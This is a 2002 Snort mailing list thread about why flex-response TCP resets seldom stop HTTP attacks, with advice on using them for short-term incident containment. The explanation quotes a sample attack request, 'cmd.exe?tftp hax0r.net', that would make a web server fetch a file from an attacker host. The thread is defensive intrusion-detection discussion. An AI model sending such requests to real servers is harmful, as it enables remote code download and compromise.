Snort mailing list archives
Re: Snort+flexresp
From: Bamm Visscher <bamm () satx rr com>
Date: 14 Mar 2002 22:24:26 -0600
I apologize for the confusion, I guess I should of elaborated more. I did not mean to imply content rules do not "work" with flex-resp. You can create any rule with any option and resp will "work". By "work", I mean the reset(s)/ICMP error messages will be created by snort and sent on the wire. The statement I was trying to make is how ineffective flex response rules can be when used on HTTP traffic. Take the following HTTP session as an example: attacker:1025 -> target:80 S attacker:1025 <- target:80 SA attacker:1025 -> target:80 A attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp hax0r.net blah" attacker:1025 <- target:80 AP <HTML>200 Okay</HTML> attacker:1025 -> target:80 FA attacker:1025 <- target:80 A attacker:1025 -> target:80 FA attacker:1025 <- tartge:80 A All the important content in this connection is contained in a single packet (as is often the case with HTTP). In order to effectively reset this connection, our reset packet has to reach the target box before the "GET" request. So, using a content based rule probably isn't going to prevent this attack from working. Matter of fact, try setting up a rule to reset all web surfing from your IP (alert tcp YOURIP any <> any 80 (msg: "blocking web tfc"; resp:rst_all;)). Now see if you can surf the web. I tried this a while back with snort-1.8.1 and had no problems loading most pages. I tried the same thing later with snort-1.8.3 (major changes to flex-resp) and found that it could sometimes prevent the pages from loading, but not very often (IIRC. If your tests differ, please let me know, I have been known to make mistakes). This is no fault of snort, but a problem with the concept of flex-resp (tcp-reset, etc) and affects all IDSes that employ it. With that said, I do use flex-resp in a short-term incident containment mode until long term fixes can be put in place. For example, once an intrusion has been identified, I will use flex-resp in an effort to prevent an attacker from doing further damage until the affected system can be taken off-line or a rule blocking the attacker can be placed in the FW/router. This often means sending a reset in response to any packet sent by the source. Another example is using flex-resp to help prevent the spread of a virus with a content based sigature in snort until the virus signatures on email scrubbers can be updated. Using flex-resp eats resources, so take the time to find out just how different protocols work (HTTP, FTP, telnet, etc) and make sure any flex-resp rules you create, are going to be effective "against" them. If you want snort to take a more "active" role in preventing intrusions, I suggest you look into hogwash. Bammkkkk On Thu, 2002-03-14 at 04:33, Sonika Malhotra wrote:
"Bamm (Robert) Visscher" wrote:If you did not observe a RST packet at all, then the rule you created did not trigger correctly or at all. Once a packet matches a rule with a resp: directive, the appropriate response packet (rst or ICMP) is going to be sent. Whether or not the response will be effective, depends on the accuracy of the snort crafted response packet(s). FWIW, if you are trying to create a rule to kill HTTP connections on detection of "cmd.exe" (or a content rule of any type in HTTP), then forget it. It will rarely be effective.Please elaborate on this, why the resp' option works for rules of type alert tcp any any-> x.x.x.x pp (resp:rst_all; msg:"aiiee";) and not in general for pattern matching rules. thanx . smBammkkkk On Wed, 2001-03-14 at 08:56, skill2die4 wrote:Hi: I was working on flexREsp in my lab and the set-up was : ---------- ---------- - compA - +++++++++++++ - compB - ---------- ---------- +++ = crossover compA = running snort compB = testing machine So, in my case even though FLEXRESP might be installed properly; it wasn't replying to packets with a RST packet (as per the rules that I created) due to time frame given to snort to create the packet(as per my understanding now...thanks to ROEL) Questions: ---------- 1. Was it was because the compA replied before snort could craft the reply packet? 2. Even if so, I should have seen at least a single RST(even though with delayed sequence number) packet ? 3. Since I didn't saw even a single RST packet over the network, should I ASSume that the problem lies with my installation or rulesets ? 4. How can I create network DELAYS in the Lab environment? [** MOST IMPORTANT **] Thanks! Skill2die4
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Current thread:
- Snort+flexresp Sonika Malhotra (Mar 11)
- Re: Snort+flexresp Roelof JT Jonkman (Mar 11)
- Re: Snort+flexresp Sonika Malhotra (Mar 12)
- RE: Snort+flexresp skill2die4 (Mar 13)
- RE: Snort+flexresp Bamm (Robert) Visscher (Mar 13)
- Re: Snort+flexresp Sonika Malhotra (Mar 14)
- Re: Snort+flexresp Sam (Mar 14)
- Re: Snort+flexresp Bamm Visscher (Mar 14)
- Re: Snort+flexresp Jeff Nathan (Mar 25)
- Re: Snort+flexresp Bamm Visscher (Mar 26)
- Re: Snort+flexresp Jeff Nathan (Mar 26)
- Re: Snort+flexresp Sonika Malhotra (Mar 12)
- Re: Snort+flexresp Roelof JT Jonkman (Mar 11)
- Re: Snort+flexresp Roelof JT Jonkman (Mar 13)
- <Possible follow-ups>
- RE: Snort+flexresp Ronneil Camara (Mar 26)
- Re: Snort+flexresp Bamm Visscher (Mar 26)
- Re: Snort+flexresp Jeff Nathan (Mar 27)
- RE: Snort+flexresp Bamm Visscher (Mar 27)
- Re: Snort+flexresp Onie Camara (Mar 28)
- Re: Snort+flexresp Bamm Visscher (Mar 28)
- Re: Snort+flexresp Onie Camara (Mar 28)